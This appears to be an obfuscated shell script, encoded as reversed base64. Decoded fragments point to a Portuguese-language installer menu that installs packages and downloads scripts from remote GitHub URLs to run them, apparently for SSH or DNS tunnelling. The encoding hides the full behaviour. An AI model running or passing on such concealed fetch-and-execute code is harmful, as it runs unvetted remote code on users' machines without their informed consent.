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gACIgACIKwWZzlGaj9lb1ZGIgACIgACIgACIgAiCxACclVGbzBCIgACIgACIgACIgogItNzM7EzWzMDMcFCIFRlTF1UQT9EVJhVRg8EROFUSDlkTJVkUgwURTlESD1mMzsTMbNzMwwlbcJCIl1CIvh2YlBCIgACIgACIgACIgogchVGbjBCIgACIgACIgACIgoAblNXaoNGd0F2XuVnZgACIgACIgACIgACIK0HIgACIgACIgACIgAiCsV2cph2YgQnchR3clJHIvlmLyV2aj9GZgACIgACIgACIgACIgACIgoAblNXaoNGI0JXY0NXZyBiclt2YvRGIgACIgACIgACIgACIgACIKsHIpgCblNXaoNGd0F2XuVnZgACIgACIgACIgACIKIiIg8GajVWCJkgCi02MzsTMbNzMwwVIgwURTlESDByTE5UQJNUSOlURS1mMzsTMbNzMwwlbcJCIl1CIvh2YlBCIgACIgACIgACIgogchVGbjBCIgACIgACIgACIgogblhGdgsTXdByJycCI9AiIhR3cvB3clJHJiAyWbBiZpxWZgACIgACIgAiCpZGIgACIgACIgACIgAiCsV2cph2Yf5WdmlQCJkgCyFWZsNWCJkQCKMDIwVWZsNXCJkQCKISbws1MzADX9FGdy9Gc7RSbzMzOxs1MzADXgoTQUJ1TQBSbxMzOxs1MzADXhASRU5URNF0UPRVSYVEIPRUQMFEVT5USgwURTlESD1mMzsTMbNzMwwlbcJCIl1CIvh2YlBCIgACIgACIgACIgACIgAiCyFWZsNGIgACIgACIgACIgACIgACIKcCblNXaoNWaul2XuVnZnAichJ2XuVnZgACIgACIgACIgACIgACIgoQfgACIgACIgACIgACIgACIgogIkJ3b3N3chBHJ6UWbh5mclNXdkICIoRXdh1SLgQXZyNWZzJXZwV3cgkXZr1SLgUzcrN2bz1SLgEGdy9GckACctAiclZnclNHIsV2cph2YvEmcvxGbpBnagMXehdHbhBCdyFGdzVmct0CIk1CIhRncvBHJ6EGdy9GckACctACblNXaoNGIl1WYu1SLg4WdyBybp5iclt2YvRGIgACIgACIgACIgACIgACIgACIgogIkJ3b3N3chBHJ6UWbh5mclNXdkICIoRXdh1SLgQXZyNWZzJXZwV3cgkXZr1SLgUzcrN2bz1SLgEGdy9GckACctAiclZnclNHIsV2cph2YvEmcvxGbpBnagMXehdHbhBCdyFGdzVmct0CIk1CIhRncvBHJ6EGdy9GckACctACblNXaoNGIl1WYu1SLg4WdyBiclt2YvRGIgACIgACIgACIgACIgACIgACIgowegkCKsV2cph2Yp5Waf5WdmBCIgACIgACIgACIgACIgAiCiICIvh2YllQCJkgCi0GMbNzMwwVIgwURTlESDByTE5UQSV1RJZkTPNUbyMzOxs1MzADXuxlIgUWLg8GajVGIgACIgACIgACIgACIgACIK0HIgACIgACIgACIgACIgACIKACIgACIgACIsV2cph2Yf5WdmBCIgACIgACIgACIgACIgACIgACIKIibc1ncvN2c7RyUFJVRUNUQSF0QgQDIP1USOlUTgU0UVBCLBRlUPNEIZVVTgEUkDX0UBJFVO90Q9FjcvN2ek4GXiASZtAyboNWZgACIgACIgACIgACIgACIgACIgAiC7BiJmASXdBCNgQHbtAyczFGclpXazRCIbtFIgACIgACIgACIgACIgACIKkSfkJ3b3N3chB3I7RCIvh2YlhCJ9M3chBXZ6l2cgACIgACIgACIgACIgACIgoQfgACIgACIgACIgACIgACIgoAIsV2cph2Yf5WdmBCIgACIgACIgACIgACIgACIgACIKIibc1ncvN2c7RSIBF5wFNVQSRlTPNEIPNVRSdkTJBSRTByTO1XMy92Y7RibcJCIl1CIvh2YlBCIgACIgACIgACIgACIgACIgACIKsHImYCId1FIkJ3b3N3chBHJgoXLgs1WgACIgACIgACIgACIgACIgoAZy92dzNXYwBCZhVmc7ICItdzM7EzWzMDMcpTQROcRTFkUU50TD1mMzsTMbNzMwwlIgUmbtAyboNWZgACIgACIgACIgACIgACIgoQfgACIgACIgACIgACIgACIgoAblNXaoN2XuVnZgACIgACIgACIgACIgACIgACIgAiCi4GX9J3bjN3ekEyclJXZ0NWYyF2YgATMg8WbphXoD3GIv5GIlNXd9FjcvN2ekICIl1CIvh2YlBCIgACIgACIgACIgACIgACIgACIKISZk5WYydGIvRXa11GIvlmchOcdzVHIlRGIl12buBSb1BSdvRXanlGZgo6wj9mV9FjcvN2ek4GXiASZtAyboNWZgACIgACIgACIgACIgACIgACIgAiC7BiJmASXdBCMxACdn1CI4FWblpXazRCIbtFIgACIgACIgACIgACIgACIKkSfl1WYuJXZzV3I7RCIvh2YlhCJ9gXYtVmepNHIgACIgACIgACIgACIgACIK0HIgACIgACIgACIgACIgACIKwWZzlGaj9lb1ZGIgACIgACIgACIgACIgACIgACIgogIuxVfy92YztHJhMXZyVGdjFmchNGIzl2bkBybtlmbtOcbg8mbgU2c11XMy92Y7RiIgUWLg8GajVGIgACIgACIgACIgACIgACIgACIgogI9J3bjN3ek8GdyV3Yg8GdpVXbg8WayF6w1NXdgUGZgUWbv5GItVHI19GdpdWakBiqDP2bW1XMy92Y7RibcJCIl1CIvh2YlBCIgACIgACIgACIgACIgACIgACIKsHImYCId1FIyACds1CIulWblpXazRCIbtFIgACIgACIgACIgACIgACIKkSfl1WYuJXZzV3I7RCIvh2YlhCJ94WatVmepNHIgACIgACIgACIgACIgACIK0HIgACIgACIgACIgACIgACIKwWZzlGaj9lb1ZGIgACIgACIgACIgACIgACIgACIgogIuxVfy92YztHJhMVRMFUSDVEUTVEITVkUFR1QBJVQDBSSOBCLT9USDFEUTVEIFNVVg8kT9FjcvN2ekICIl1CIvh2YlBCIgACIgACIgACIgACIgACIgACIKISfy92YztHJh8EVDVkUS90QOlEITVEIPlkUBV1UVBSREBSRSJUTP5EIVNVfxI3bjtHJuxlIgUWLg8GajVGIgACIgACIgACIgACIgACIgACIgowegYiJg0VXgkSX50CMa1SQ61SYbhyKp0CfrgyPg0TIg0XZtFmbyV2c1tHJgs1WgACIgACIgACIgACIgACIgoQfgACIgACIgACIgACIgACIgoAblNXaoN2XuVnZgACIgACIgACIgACIgACIgACIgAiCi4GX9J3bjN3ekEyTJJVQVNVVgUERgUkUC10TOByTTVkUH5USg8kT9FjcvN2ek4GXiASZtAyboNWZgACIgACIgACIgACIgACIgACIgAiC7BiJmASXdBSZtFmbyV2c1RCI61CIbtFIgACIgACIgACIgACIgACIKUWbh5mclNXdgQWYlJ3OiASb3MzOxs1MzADX68USSFUVTVFIFREIFJlQN9kTtJzM7EzWzMDMcJCIl5WLg8GajVGIgACIgACIgACIgACIgACIKIXYlx2YgACIgACIgACIgACIgACIgoQY0J3bwRCIzJHdw9lZpJXZ2lQCJkgC9lQCJkgCsV2cph2Yf5WdmlQCJkQCKIXYlx2YJkQCJkgCzACclVGbzlQCJkQCKISIPRUSMFkVOlEIPRlUFVFUtFzM7EzWzMDMcJCIl1CIvh2YllQCJkQCKIiIg8GajVWCJkQCJowegYiJg0VXgISY0J3bwRiIgoXLgs1WJkQCJoQY0J3bwBCZhVmcJkQCJogIgoTb3MzOxs1MzADX/02MzsTMbNzMwwFISFkWJxUSUxUVgEURTVERgEEVS9EUgwUQVNUbyMzOxs1MzADXiASZu1CIvh2YllQCJkgCiICIvh2YllQCJkgCi0GMbVEXgACIgACIgACIgACIgACTFNVSINEIgACIgACIgACIgACItdzM7EzO0QzWFxlIgUWLg8GajVWCJkQCKIXYlx2YJkQCJowJyV2aj9GZsxWY0Nnbp9lb1Z2JgIXYi9lb1ZWCJkQCKIiIg8GajVWCJkQCKISbzMzOxs1MzADXhACTFNVSINEIPByTE5UQMFEVT5UStJzM7EzWzMDMc5GXiASZtAyboNWZgACIgACIgACIgACIgACIgogItNzM7EzWzMDMcByK2EDI1Rnb1JWVgEEIFRlUPB1TT1mMzsTMbNzMwwlbcJCIl1CIvh2YlBCIgACIgACIgACIgACIgAiC9BCIgACIgACIgACIgACIgAiCvFGel52bjBCIgACIgACIgACIgACIgACIgACIKIDIwVWZsNHIgACIgACIgACIgACIgACIgACIgogI9J1TM90QTtHJu4iLvRmbh5mcvRXZS1HRFJ1ek4GXiASZtAyboNWZgACIgACIgACIgACIgACIgACIgAiC7BiJmASXdBSKNl0U8NFftl2c8NHKABSPhAiIwNXZyRiIgs1WgACIgACIgACIgACIgACIgoAczVmcgQWYlJHIgACIgACIgACIgACIgACIKICI9J1TM90QTtHJ60lbvM3W9d1TMxURZtHJg8DIPF0QBxUQUNlTJBSQgIVQV5USU50TDBSQKV0UFRUfOVURSd0ekICIl5WLg8GajVGIgACIgACIgACIgACIgACIKIibc1nUPx0TDN1ekASIgM1TDNVSSByUPREIFRlTFl0QgUUVRlkRuxVQOlUVRFUTgEUVTBSQOBiUB50TJNkTVZEIPN4wOBSVPBSRE9EUuxFTFZVQUNlTJBSiDDyTE9EVF1EIFN1UFBSRVFFIFRlTFl0QgEkSFR1UF13VPxETFl1ek4GXiASZtAyboNWZgACIgACIgACIgACIgACIgoQfgACIgACIgACIgACIgACIgoQZu9GZgACIgACIgACIgACIgACIgACIgAiC51CIn9mcw9FJgwGbhR3culGI0BXYgACIgACIgACIgACIgACIgACIgAiCvRGI70XXAt1clR3bjFGcftHJg4Wagc2byB3XgI3bmBCIgACIgACIgACIgACIgACIgACIKkiIvlmLyV2aj9GZiAiIyV2aj9GZigSPzVGdvNWYw9FIgACIgACIgACIgACIgACIgACIgowegkCKyV2aj9GZsxWY0Nnbp9lb1ZGIgACIgACIgACIgACIgACIKIXYlx2YgACIgACIgACIgACIgACIgoQZzxWZJkQCKwWZzlGaj9lb1ZWCJkQCKMDIwVWZsNXCJkQCKISbzMzOxs1MzADXh8EVJhVRg40TDByTEFkVJR1QBNVREBCTFNVSINUbyMzOxs1MzADXiASZtAyboNWZJkQCJogIiAyboNWZJkQCJowJmZ2bsV2cph2Yf5WdmdCIyFmYf5WdmlQCJkgCiICIvh2YllQCJkgCi02MzsTMbNzMwwFTFNVSINEIPRkTBZVSUNUQTVERtJzM7EzWzMDMcJCIl1CIvh2YllQCJkgC9lQCJkgCKwWZzlGajBSbyBybp5iclt2YvRGIgACIgACIgACIgACIgACIgACIgoAblNXaoNGIw9GdzBybp5iclt2YvRWCJkQCJoAblNXaoNGItJHIyV2aj9GZgACIgACIgACIgACIgACIgACIgAiCsV2cph2YgA3b0NHIyV2aj9GZJkQCJkgC7BSKoYmZvxWZzlGaj9lb1ZWCJkQCKIiIg8GajVWCJkQCKISbwsVRcBCIgACIgACIgACIgACIMV0UJh0QgACIgACIgACIgACIg02NzsTM7EDNbVEXiASZtAyboNWZJkQCJogchVGbjlQCJkgCuVGa0ByOsxWdu9idlR2L+IDIsxWdu9idlR2L+EDInIXZrN2bkdCIwVmcnBCfgAHds5WLgQXY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